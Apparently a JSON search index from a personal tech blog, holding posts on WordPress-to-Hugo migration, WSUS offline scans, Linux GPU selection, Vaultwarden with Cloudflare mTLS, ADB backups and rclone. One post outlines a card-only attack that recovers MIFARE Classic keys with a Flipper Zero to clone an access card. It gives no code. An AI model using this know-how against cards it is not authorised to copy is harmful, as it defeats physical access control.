[{"content":"The Wake-Up Call\nA few days ago my hosting provider sent me a friendly message: \u0026ldquo;Warning: 500 emails have just been sent by your account.\u0026rdquo; Not what you want to read on a Saturday evening.\nMy first thought: someone dropped a PHP shell on my WordPress blog and is using it as a spam cannon. I renamed PHPMailer as an emergency brake and started digging.\nWhat It Actually Was\nThe good news: no shell. WordPress core and all plugins passed their checksum checks, and there were no unknown admin logins. The culprit was my own security plugin. Wordfence was blocking a brute-force wave of about 500 login attempts, and it was configured to send me an email for every single block, with no hourly limit. So the security plugin did its job and still got me an abuse warning.\nI fixed the alert settings and disabled outgoing WordPress mail entirely. Problem solved\u0026hellip; for now.\nThe Real Problem\nThat evening made something painfully clear. To publish a handful of tech posts per year, I was running:\nPHP and a MySQL database WordPress core plus 8 plugins, all needing updates A security plugin to protect all of the above A login page that the whole internet keeps hammering That\u0026rsquo;s a lot of attack surface for what is basically a collection of text files with some screenshots. My blog doesn\u0026rsquo;t need to execute anything. So I decided: static only. No PHP, no database, no login page. Just HTML.\nThe Plan\nGenerator: Hugo, a fast, single binary, Markdown in, HTML out Importer: wp2hugo, which turns a WordPress XML export into a Hugo site, media included Hosting: GitHub Pages, deployed by a GitHub Action on every push The one hard requirement: every existing URL must keep working. 18 years of posts are indexed and linked all over the internet, so /2012/04/some-post/ has to stay exactly /2012/04/some-post/.\nStep 1: Back Up Everything\nBefore touching anything, I pulled a full backup over SSH with WP-CLI and tar:\nwp db export - | gzip \u0026gt; database.sql.gz wp export --stdout --max_file_size=-1 | gzip \u0026gt; wordpress.xml.gz tar -czf - wp-content/uploads \u0026gt; uploads.tar.gz Then I verified it with checksums and counts: 325 posts, 1 page, 1,379 upload files (88 MB). Production stayed untouched during the whole migration.\nStep 2: Import with wp2hugo\nwp2hugo --source wordpress.xml --output import-output \\ --download-media --download-all \\ --content-date-folder-structure year-month A few minutes later I had a working Hugo site with posts, categories, tags, featured images and the PaperMod theme. Impressive, but not perfect.\nStep 3: Fix the Leftovers (Repeatably)\nWordPress sites collect weird stuff over the years. Mine had:\nDozens of [code] shortcodes from the old SyntaxHighlighter plugin. They came through as escaped text instead of code blocks. A PayPal donation plugin whose form had stopped working anyway. Some wrong URLs where the importer used / as the permalink. Instead of hand-editing 325 files, I wrote one small Python script, normalize.py, that converts the [code] shortcodes to proper Markdown code fences and resets every post\u0026rsquo;s URL from the original WordPress inventory. If I need to re-import, I just run it again.\nStep 4: Trust, but Verify\nA migration you can\u0026rsquo;t verify is a migration you can\u0026rsquo;t trust. A second script, validate.py, fails the build when:\nany of the 326 original post/page URLs is missing any upload or legacy download disappears an unconverted [code] shortcode sneaks back in That check runs in the GitHub Action on every push, so I can\u0026rsquo;t accidentally break old links later.\nStep 5: Make It Look Like Home\nMy old blog had a fixed background photo behind a semi-transparent content area. I kept that idea with a new tech-desk background, kept Disqus so all the old comments still show up, and turned the broken PayPal form into a simple, bright yellow PayPal.me button.\nStep 6: Publish with GitHub Actions\nThe workflow is short: install Hugo, build, validate, upload to GitHub Pages. Writing a new post is now just a Markdown file in content/posts/ and:\ngit add . \u0026amp;\u0026amp; git commit -m \u0026#34;New post\u0026#34; \u0026amp;\u0026amp; git push Push, wait a minute, done. No admin panel, no plugin updates, no PHP.\nThe Result\n325 posts and all media migrated, with every old URL intact Categories, tags, RSS feed, sitemap and comments preserved Zero server-side code to patch or exploit Free hosting, and the whole blog lives in a Git repository Three Takeaways\nA security plugin can become the problem. Always set an alert rate limit. If your content doesn\u0026rsquo;t need a server, don\u0026rsquo;t run one. Every plugin is attack surface. Automate the migration fixes and validate everything. Re-running a script beats fixing 325 files by hand. Full disclosure: I did this migration together with my AI assistant, which handled most of the tedious backup, import and validation work while I made the decisions. Fitting for a tech blog, I think. 😉\nHappy static blogging!\n","permalink":"https://blog.wapnet.nl/2026/10/from-wordpress-to-hugo-after-a-php-scare/","summary":"\u003cp\u003e\u003cstrong\u003eThe Wake-Up Call\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eA few days ago my hosting provider sent me a friendly message: \u003cem\u003e\u0026ldquo;Warning: 500 emails have just been sent by your account.\u0026rdquo;\u003c/em\u003e Not what you want to read on a Saturday evening.\u003c/p\u003e\n\u003cp\u003eMy first thought: someone dropped a PHP shell on my WordPress blog and is using it as a spam cannon. I renamed PHPMailer as an emergency brake and started digging.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWhat It Actually Was\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe good news: no shell. WordPress core and all plugins passed their checksum checks, and there were no unknown admin logins. The culprit was my own security plugin. Wordfence was blocking a brute-force wave of about 500 login attempts, and it was configured to send me an email for \u003cem\u003eevery single block\u003c/em\u003e, with no hourly limit. So the security plugin did its job and still got me an abuse warning.\u003c/p\u003e","title":"From WordPress to Hugo: Why My Blog Is Now 100% Static"},{"content":"For educational and research purposes only - only test systems you own or have explicit permission to test.\nThe Goal\nI want to clone a MIFARE Classic 1K card with my Flipper Zero. 24 of 32 keys unknown, no reader access. Card-only attack because I don\u0026rsquo;t want to go to the card reader to test ;-)\nThe Rabbit Hole\nThe tooling landscape is a graveyard:\n- FlipperNested - EOL since 2023\n- HardnestedRecovery (PC) - silently skips every log line containing dist, which current firmware writes on all of them\n- FlipperNestedRecovery (PC) - old log format, crashes on heap corruption\n- MFKey FAP (on-device) - works, but slow and memory-hungry\nSince most custom flipper firmwares integrated nested attacks into the NFC app, there\u0026rsquo;s simply no working PC tool for the new log format. The community went on-device and never ported back. But the flipper device is slow when you need a CPU find all the potential keys.\nThe Missing Piece\nmfkey_desktop_cli - multithreaded desktop recovery: pulls .nested.log from the Flipper, cracks on all CPU cores, uploads candidate dictionaries back. Laptop does the math and the power, Flipper does the radio to find out the correct keys.\nThe Catch\nMy card has static encrypted nonces - every auth returns the same nonce. Instead of one key per sector: 957,039 candidates. The Flipper then verifies them against the card at ~60 keys/sec. Full run takes days; trimmed to the sectors you need: about an hour.\nThree Takeaways\n1. Check the nonces first: identical nt0 = static card = candidate explosion\n2. Reader access beats everything - one tap gives mfkey32-grade nonces and usually a single key\n3. The desktop tooling gap is real - the solver cores are open source, someone just needs to connect them\nBut if you try and error hard enough you always win :)\nHappy hacking!\n","permalink":"https://blog.wapnet.nl/2026/08/mifare-classic-on-flipper-zero-card-only-attack/","summary":"\u003cp\u003e\u003cem\u003eFor educational and research purposes only - only test systems you own or have explicit permission to test.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eThe Goal\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eI want to clone a MIFARE Classic 1K card with my Flipper Zero. 24 of 32 keys unknown, no reader access. Card-only attack because I don\u0026rsquo;t want to go to the card reader to test ;-)\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2026/08/image-1.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003e\u003cstrong\u003eThe Rabbit Hole\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe tooling landscape is a graveyard:\u003cbr\u003e\n- \u003cstrong\u003eFlipperNested\u003c/strong\u003e - EOL since 2023\u003cbr\u003e\n- \u003cstrong\u003eHardnestedRecovery\u003c/strong\u003e (PC) - silently skips every log line containing \u003ccode\u003edist\u003c/code\u003e, which current firmware writes on \u003cem\u003eall of them\u003c/em\u003e\u003cbr\u003e\n- \u003cstrong\u003eFlipperNestedRecovery\u003c/strong\u003e (PC) - old log format, crashes on heap corruption\u003cbr\u003e\n- \u003cstrong\u003eMFKey FAP\u003c/strong\u003e (on-device) - works, but slow and memory-hungry\u003c/p\u003e","title":"MIFARE Classic on Flipper Zero: Card-Only Attack"},{"content":"If you manage Windows updates through WSUS, you\u0026rsquo;ve probably been there: a server is missing patches, you dig into it, and it turns out the product category was never enabled in WSUS. No warning, no report - it just silently never synced those updates.\nThe frustrating part is that WSUS has no built-in way to tell you which product categories your clients actually need. You can see what\u0026rsquo;s subscribed, but not what you\u0026rsquo;re missing. It doesn\u0026rsquo;t know what\u0026rsquo;s installed on your clients unless you\u0026rsquo;ve already told it to care.\nI went looking for a smart solution that didn\u0026rsquo;t require SCCM, Intune, or clients reaching out to the internet. Turns out Microsoft already ships the answer: wsusscn2.cab.\nWhat is wsusscn2.cab? It\u0026rsquo;s a signed cabinet file published by Microsoft that contains the full catalog of security-related updates. The Windows Update Agent (WUA) on any Windows machine can use it to scan locally - no internet connection needed on the client, no WSUS query. It figures out what\u0026rsquo;s applicable based on what\u0026rsquo;s actually installed.\nThis means you can point it at any client and get back a list of every product category that has outstanding updates, including ones you never subscribed to in WSUS.\nThe Script Download wsusscn2.cab once — either directly on the client or from the WSUS server and copy it over:\nhttps://catalog.s.download.windowsupdate.com/microsoftupdate/v6/wsusscan/wsusscn2.cab\nThen run this as administrator on the client:\n#Requires -RunAsAdministrator $cabPad = \u0026#34;C:\\Temp\\wsusscn2.cab\u0026#34; New-Item -ItemType Directory -Force -Path \u0026#34;C:\\Temp\u0026#34; | Out-Null if (-not (Test-Path $cabPad)) { Write-Host \u0026#34;Downloading wsusscn2.cab (~700 MB)...\u0026#34; Invoke-WebRequest ` -Uri \u0026#34;https://catalog.s.download.windowsupdate.com/microsoftupdate/v6/wsusscan/wsusscn2.cab\u0026#34; ` -OutFile $cabPad -UseBasicParsing } Write-Host \u0026#34;Scanning... this takes 10 to 30 minutes.\u0026#34; $mgr = New-Object -ComObject Microsoft.Update.ServiceManager $svc = $mgr.AddScanPackageService(\u0026#34;Offline Sync Service\u0026#34;, $cabPad) $session = New-Object -ComObject Microsoft.Update.Session $searcher = $session.CreateUpdateSearcher() $searcher.ServerSelection = 3 $searcher.ServiceID = [string]$svc.ServiceID $result = $searcher.Search(\u0026#34;IsInstalled=0\u0026#34;) Write-Host \u0026#34;`nProduct categories with outstanding updates on this machine:`n\u0026#34; $result.Updates | ForEach-Object { $u = $_ $u.Categories | Where-Object Type -eq \u0026#34;Product\u0026#34; } | Select-Object -ExpandProperty Name -Unique | Sort-Object | ForEach-Object { Write-Host \u0026#34; - $_\u0026#34; } How It Works The WUA COM object normally talks to either Windows Update or your WSUS server. By setting ServerSelection = 3 and pointing it to a local service backed by the cab file, it scans entirely offline. It runs the same applicability rules it always does — checking installed software, versions, and hotfixes - but against the catalog in the cab instead of a live server.\nOne important caveat: this has to run locally on the machine. The WUA COM object doesn\u0026rsquo;t work correctly over PowerShell remoting, so Invoke-Command won\u0026rsquo;t cut it here.\nWhat To Do With the Output\nYou\u0026rsquo;ll get a list like this:\n.NET Framework Microsoft Edge Microsoft Office 2019 Windows Server 2016 Cross-reference that with your WSUS product subscriptions (Options → Products and Classifications). Anything on this list that isn\u0026rsquo;t checked in WSUS is a gap - those updates are never being offered to your clients.\nRun the script on a few representative machines (a file server, an app server, a workstation) and you\u0026rsquo;ll quickly get a complete picture of what your environment actually needs.\nHappy patching!\n","permalink":"https://blog.wapnet.nl/2026/06/wsus-doesnt-tell-you-what-youre-missing-heres-how-to-find-out/","summary":"\u003cp\u003eIf you manage Windows updates through WSUS, you\u0026rsquo;ve probably been there: a server is missing patches, you dig into it, and it turns out the product category was never enabled in WSUS. No warning, no report - it just silently never synced those updates.\u003c/p\u003e\n\u003cp\u003eThe frustrating part is that WSUS has no built-in way to tell you which product categories your clients actually need. You can see what\u0026rsquo;s subscribed, but not what you\u0026rsquo;re missing. It doesn\u0026rsquo;t know what\u0026rsquo;s installed on your clients unless you\u0026rsquo;ve already told it to care.\u003c/p\u003e","title":"WSUS Doesn't Tell You What You're Missing - Here's How to Find Out"},{"content":"Somewhere over the Atlantic (on a plane heading to holiday) I had some spare battery so I was forced had to figure out something that had been bugging me for a while: when gaming on my Linux laptop, I never really knew whether Steam was using the NVIDIA GPU or the integrated Intel chip. No internet, but I did have a terminal. What follows is half an hour of trial and error at 10 kilometres altitude.\nThe problem On a hybrid laptop (Intel iGPU + NVIDIA dGPU), Linux doesn\u0026rsquo;t always make the choice you\u0026rsquo;d expect. Some games run unnecessarily on the power-efficient Intel chip, while others drain the battery through the NVIDIA GPU when they don\u0026rsquo;t need to. Steam has a solution for this via launch options - but which combination of variables actually works isn\u0026rsquo;t immediately obvious.\nThe solution: PRIME Render Offload NVIDIA provides a mechanism for this: PRIME Render Offload. By setting a few environment variables in Steam\u0026rsquo;s launch options, you can control which GPU each game uses.\nForce the NVIDIA GPU __NV_PRIME_RENDER_OFFLOAD=1 __GLX_VENDOR_LIBRARY_NAME=nvidia %command% Use this for demanding games that need GPU power. __NV_PRIME_RENDER_OFFLOAD=1 enables the offload mechanism, and __GLX_VENDOR_LIBRARY_NAME=nvidia ensures OpenGL also runs through NVIDIA.\nForce the Intel iGPU __VK_LAYER_NV_optimus=non_NVIDIA_only __GLX_VENDOR_LIBRARY_NAME=intel %command% Useful for lighter games where you want to save battery. Note: the correct value is non_NVIDIA_only, not INTEL_only - the latter is not an officially supported value but it works also ;-)\nDefault (system choice) Just %command% without any extra variables — Steam will use whatever the system has configured as default.\nHow to set it in Steam Right-click a game → Properties → General → Launch Options field. Paste in whichever line you need.\nWhat I learned Trial and error without internet is actually pretty useful. You\u0026rsquo;re forced to think systematically instead of immediately reaching for a search engine. The variables are well documented in the NVIDIA PRIME documentation and on the ArchWiki - though I only found that out afterwards.\nOne more thing: for Vulkan-only games, __NV_PRIME_RENDER_OFFLOAD=1 on its own is enough - no need for the GLX variable.\n","permalink":"https://blog.wapnet.nl/2026/05/steam-and-nvidia-on-linux-which-gpu-are-you-actually-using/","summary":"\u003cp\u003eSomewhere over the Atlantic (on a plane heading to holiday) I had some spare battery so I was forced had to figure out something that had been bugging me for a while: when gaming on my Linux laptop, I never really knew whether Steam was using the NVIDIA GPU or the integrated Intel chip. No internet, but I did have a terminal. What follows is half an hour of trial and error at 10 kilometres altitude.\u003c/p\u003e","title":"Steam and NVIDIA on Linux - which GPU are you actually using?"},{"content":"I was using tailscale + vaultwarden before but I don\u0026rsquo;t want to use a VPN connection to access my passwords. But I do want a client certificate for extra security.\nSo I write this to guide to exposing Vaultwarden securely via Cloudflare Tunnel, protected by mutual TLS (mTLS) client certificates. No open ports required.\nPlease note: it looks like iOS bitwarden app don\u0026rsquo;t have the option to import a mtls certificate.\nWhy this setup? No open ports on your router Cloudflare terminates TLS — no certificate management on your end mTLS ensures only devices with a valid client certificate can reach Vaultwarden The Bitwarden Android app supports client certificates natively since v2025.2.0 Prerequisites A Synology NAS with Container Manager A domain managed by Cloudflare (e.g. example.com) Vaultwarden already running in Docker 1. Vaultwarden configuration Make sure your Vaultwarden container has these environment variables set:\nDOMAIN=https://vault.example.com SIGNUPS_ALLOWED=false EXPERIMENTAL_CLIENT_FEATURE_FLAGS=mutual-tls The mutual-tls feature flag tells the Bitwarden Android app to show the client certificate option in settings.\nVerify it\u0026rsquo;s active:\ncurl https://vault.example.com/api/config | grep mutual You should see \u0026quot;mutual-tls\u0026quot;:true in the response.\n2. Cloudflare Tunnel setup Create the tunnel Go to Cloudflare Zero Trust → Networks → Tunnels Click Create tunnel → choose Cloudflared Give it a name and copy the tunnel token Run cloudflared on Synology Create /volume1/docker/compose/cloudflared/docker-compose.yml:\nservices: cloudflared: image: cloudflare/cloudflared:latest container_name: cloudflared restart: unless-stopped network_mode: host command: tunnel --no-autoupdate run --token YOUR_TUNNEL_TOKEN cd /volume1/docker/compose/cloudflared docker compose up -d network_mode: host allows cloudflared to reach Vaultwarden via localhost:5151.\nConfigure the public hostname In the Cloudflare dashboard, under your tunnel → Public Hostnames:\nFieldValueSubdomainvaultDomainexample.comTypeHTTPURLlocalhost:5151\n3. mTLS client certificate Enable mTLS for your hostname Cloudflare dashboard → your domain → SSL/TLS → Client Certificates Under Hosts, add vault.example.com Click Create Certificate → set validity (10 years recommended) Download the certificate and private key Generate a .p12 file openssl pkcs12 -export \\ -out vault-client.p12 \\ -inkey client.key \\ -in client.crt Set a password when prompted — you\u0026rsquo;ll need it when importing on your devices.\nCreate the WAF rule Cloudflare dashboard → your domain → Security → Security rules → Custom rules Click Create rule Click Edit expression and paste: (not cf.tls_client_auth.cert_verified and http.host eq \u0026#34;vault.example.com\u0026#34;) Action: Block Click Deploy This blocks all requests without a valid client certificate before they reach Vaultwarden.\nWhen you try to access the URL you get a nice big red cross :)\nChange the cache setting I\u0026rsquo;ll get a lot of 403 issues because of the caching. You can disable/bypass the cache in cloudflare:\n4. Install the certificate Firefox (Linux/Windows) Open about:preferences#privacy Scroll to Certificates → View Certificates Tab Your Certificates → Import Select vault-client.p12 and enter your password Firefox will automatically present the certificate when connecting to vault.example.com.\nand then\u0026hellip; :)\nSelect Automatically If you use Firefox best is to change the security.default_personal_cert setting in the about:config to Select Automatically\nBitwarden Android app Transfer vault-client.p12 to your phone Open the Bitwarden app → tap the server URL field → Custom Set Web vault server URL to https://vault.example.com Scroll to CLIENT CERTIFICATE (MTLS) Tap Import certificate → select vault-client.p12 → enter password Tap Save 5. Verify Open https://vault.example.com in Firefox — you should be prompted to select your certificate. After confirming, the Vaultwarden login page loads.\nWithout a certificate, or with an invalid one, Cloudflare returns HTTP 403 before the request ever reaches your server.\nNotes Generate a separate .p12 per device so you can revoke individual certificates if needed The Cloudflare free plan supports mTLS with up to 5 custom rules Vaultwarden data is end-to-end encrypted by the Bitwarden client — Cloudflare only sees encrypted vault traffic Keep your Vaultwarden container updated; use Watchtower or a scheduled pull for automatic updates ","permalink":"https://blog.wapnet.nl/2026/03/self-hosted-vaultwarden-with-cloudflare-tunnel-and-mtls/","summary":"\u003cp\u003eI was using tailscale + vaultwarden before but I don\u0026rsquo;t want to use a VPN connection to access my passwords. But I do want a client certificate for extra security.\u003c/p\u003e\n\u003cp\u003eSo I write this to guide to exposing Vaultwarden securely via Cloudflare Tunnel, protected by mutual TLS (mTLS) client certificates. No open ports required.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003ePlease note: it looks like iOS bitwarden app don\u0026rsquo;t have the option to import a mtls certificate\u003c/em\u003e.\u003c/p\u003e","title":"Self-hosted Vaultwarden with Cloudflare Tunnel and mTLS"},{"content":"Want to create a full backup of your Android phone without root access? ADB (Android Debug Bridge) is your best friend. This method works on all Android versions and gives you complete control over what gets backed up.\nWhat You\u0026rsquo;ll Need Android phone with USB debugging enabled Computer with ADB installed USB cable Setup 1. Install ADB:\n# Ubuntu/Debian sudo apt install android-tools-adb # Windows: Download Android SDK Platform Tools # macOS: brew install android-platform-tools 2. Enable USB Debugging:\nGo to Settings → About phone Tap \u0026ldquo;Build number\u0026rdquo; 7 times to unlock Developer options Go to Developer options → Enable \u0026ldquo;USB debugging\u0026rdquo; Creating the Backup Full backup:\n# All apps + system data adb backup -all -system -shared # Files from storage adb shell \u0026#34;cd /sdcard \u0026amp;\u0026amp; tar -cf - .\u0026#34; \u0026gt; sdcard_backup.tar Selective backup:\n# Specific app only adb backup com.whatsapp # System settings only adb backup -system What Gets Backed Up? Included:\nApp data and settings System configuration WiFi passwords SMS messages (depending on app) Not included:\nPhotos/videos (use adb pull for these) Apps that block backup DRM-protected content Restoring adb restore backup.ab Pro Tips Encrypt your backup: Use a password during the backup process Test your backup: Try restoring on a test device first Combine methods: ADB + cloud sync for complete coverage ADB backup isn\u0026rsquo;t perfect, but it\u0026rsquo;s the most comprehensive method without root. For critical data, I always recommend combining multiple backup strategies.\n","permalink":"https://blog.wapnet.nl/2025/09/fast-android-backup-with-adb/","summary":"\u003cp\u003eWant to create a full backup of your Android phone without root access? ADB (Android Debug Bridge) is your best friend. This method works on all Android versions and gives you complete control over what gets backed up.\u003c/p\u003e\n\u003ch2 id=\"what-youll-need\"\u003eWhat You\u0026rsquo;ll Need\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid phone with USB debugging enabled\u003c/li\u003e\n\u003cli\u003eComputer with ADB installed\u003c/li\u003e\n\u003cli\u003eUSB cable\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"setup\"\u003eSetup\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e1. Install ADB:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Ubuntu/Debian\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt install android\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003etools\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eadb\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows: Download Android SDK Platform Tools\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# macOS: brew install android-platform-tools\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e2. Enable USB Debugging:\u003c/strong\u003e\u003c/p\u003e","title":"Fast Android backup with ADB"},{"content":"Running a local Minecraft Bedrock server on Linux is perfect for playing with your kids on the same network. Minecraft Bedrock is incredibly fun for family gaming sessions, and setting up your own server gives you complete control over the experience.\nSetting Up the Server Use the excellent itzg/minecraft-bedrock-server Docker container. Create a folder e.g. minecraft and in that folder the file docker-compose.yml:\nservices: bds: image: itzg/minecraft-bedrock-server environment: EULA: \u0026#34;TRUE\u0026#34; ports: - \u0026#34;19132:19132/udp\u0026#34; volumes: - ./data:/data stdin_open: true tty: true Then create a folder data and start your server with:\ndocker compose up -d Installing the Client Install the Minecraft client using Flatpak:\nflatpak install io.mrarm.mcpelauncher Note: You\u0026rsquo;ll need a paid Microsoft/Mojang Android version.\nAdding Custom Maps Download amazing community maps from CurseForge. These come as .mcworld files.\nTo install a map:\nExtract the world: Rename .mcworld to .zip and unzip it in data/worlds/ Configure the server: Edit data/server.properties and set the level name. For example: level-name=Island Survival with 30 Trial Chambers Restart: docker compose restart The world folder name must match exactly what you put in level-name.\nConnect and Play Your server will be discoverable in the \u0026ldquo;LAN Games\u0026rdquo; section of Minecraft Bedrock. Kids can easily join from tablets, phones, or other computers on your network.\nThis setup is perfect for controlled, family-friendly gaming where you have full control over the world and can enjoy quality time together exploring amazing community-created maps!\nHappy gaming :)\n","permalink":"https://blog.wapnet.nl/2025/08/running-minecraft-bedrock-client-and-server-on-linux/","summary":"\u003cp\u003eRunning a local Minecraft Bedrock server on Linux is perfect for playing with your kids on the same network. Minecraft Bedrock is incredibly fun for family gaming sessions, and setting up your own server gives you complete control over the experience.\u003c/p\u003e\n\u003ch2 id=\"setting-up-the-server\"\u003eSetting Up the Server\u003c/h2\u003e\n\u003cp\u003eUse the excellent \u003ccode\u003eitzg/minecraft-bedrock-server\u003c/code\u003e Docker container. Create a folder e.g. minecraft and in that folder the file \u003ccode\u003edocker-compose.yml\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eservices:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  bds:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    image: itzg/minecraft-bedrock-server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    environment:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      EULA: \u0026#34;TRUE\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ports:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u0026#34;19132:19132/udp\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    volumes:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - ./data:/data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    stdin_open: true\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    tty: true\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen create a folder \u003cstrong\u003edata\u003c/strong\u003e and start your server with:\u003c/p\u003e","title":"Running Minecraft Bedrock Client and Server on Linux"},{"content":"I have a custom operating system with the name KompassOS (www.kompassos.nl) and sometimes we need to upload big ISO files to cloudflare. But if the files all the files bigger than 300MB you have to upload with the S3 API.\nSo Need to upload large files (\u0026gt;300MB) to Cloudflare R2? Here\u0026rsquo;s how to do it with a single rclone command without creating config files.\nPrerequisites Create an R2 bucket in your Cloudflare dashboard Generate API credentials in Cloudflare R2 → Manage R2 API Tokens Install rclone The Command rclone copy ./your-file.iso \u0026#39;:s3,provider=Cloudflare,access_key_id=YOUR_ACCESS_KEY,secret_access_key=YOUR_SECRET_KEY,endpoint=YOUR_ACCOUNT_ID.r2.cloudflarestorage.com,no_check_bucket=true,force_path_style=true:your-bucket/\u0026#39; Key Parameters provider=Cloudflare - Tells rclone to use R2-specific settings no_check_bucket=true - Prevents bucket creation attempts (avoids 403 errors) force_path_style=true - Ensures compatibility with R2\u0026rsquo;s API Replace YOUR_ACCOUNT_ID with your Cloudflare account ID Replace YOUR_ACCESS_KEY and YOUR_SECRET_KEY with your R2 credentials Replace your-bucket with your bucket name Why This Works Regular file uploads in web interfaces are limited to 300MB. This method uses rclone\u0026rsquo;s multipart upload capability, allowing files of any size to be uploaded directly to R2 storage.\nPerfect for ISOs, backups, and other large files!\nHappy uploading :)\n","permalink":"https://blog.wapnet.nl/2025/08/upload-large-files-to-cloudflare-r2-with-rclone-one-liner/","summary":"\u003cp\u003eI have a custom operating system with the name KompassOS (\u003ca href=\"http://www.kompassos.nl\"\u003ewww.kompassos.nl\u003c/a\u003e) and sometimes we need to upload big ISO files to cloudflare. But if the files all the files bigger than 300MB you have to upload with the S3 API.\u003c/p\u003e\n\u003cp\u003eSo Need to upload large files (\u0026gt;300MB) to Cloudflare R2? Here\u0026rsquo;s how to do it with a single rclone command without creating config files.\u003c/p\u003e\n\u003ch2 id=\"prerequisites\"\u003ePrerequisites\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCreate an R2 bucket\u003c/strong\u003e in your Cloudflare dashboard\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGenerate API credentials\u003c/strong\u003e in Cloudflare R2 → Manage R2 API Tokens\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInstall rclone\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"the-command\"\u003eThe Command\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erclone copy ./your-file.iso \u0026#39;:s3,provider=Cloudflare,access_key_id=YOUR_ACCESS_KEY,secret_access_key=YOUR_SECRET_KEY,endpoint=YOUR_ACCOUNT_ID.r2.cloudflarestorage.com,no_check_bucket=true,force_path_style=true:your-bucket/\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-parameters\"\u003eKey Parameters\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eprovider=Cloudflare\u003c/code\u003e - Tells rclone to use R2-specific settings\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eno_check_bucket=true\u003c/code\u003e - Prevents bucket creation attempts (avoids 403 errors)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eforce_path_style=true\u003c/code\u003e - Ensures compatibility with R2\u0026rsquo;s API\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eYOUR_ACCOUNT_ID\u003c/code\u003e with your Cloudflare account ID\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eYOUR_ACCESS_KEY\u003c/code\u003e and \u003ccode\u003eYOUR_SECRET_KEY\u003c/code\u003e with your R2 credentials\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eyour-bucket\u003c/code\u003e with your bucket name\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"why-this-works\"\u003eWhy This Works\u003c/h2\u003e\n\u003cp\u003eRegular file uploads in web interfaces are limited to 300MB. This method uses rclone\u0026rsquo;s multipart upload capability, allowing files of any size to be uploaded directly to R2 storage.\u003c/p\u003e","title":"Upload Large Files to Cloudflare R2 with rclone (One-liner)"},{"content":"Managing Windows updates across multiple servers 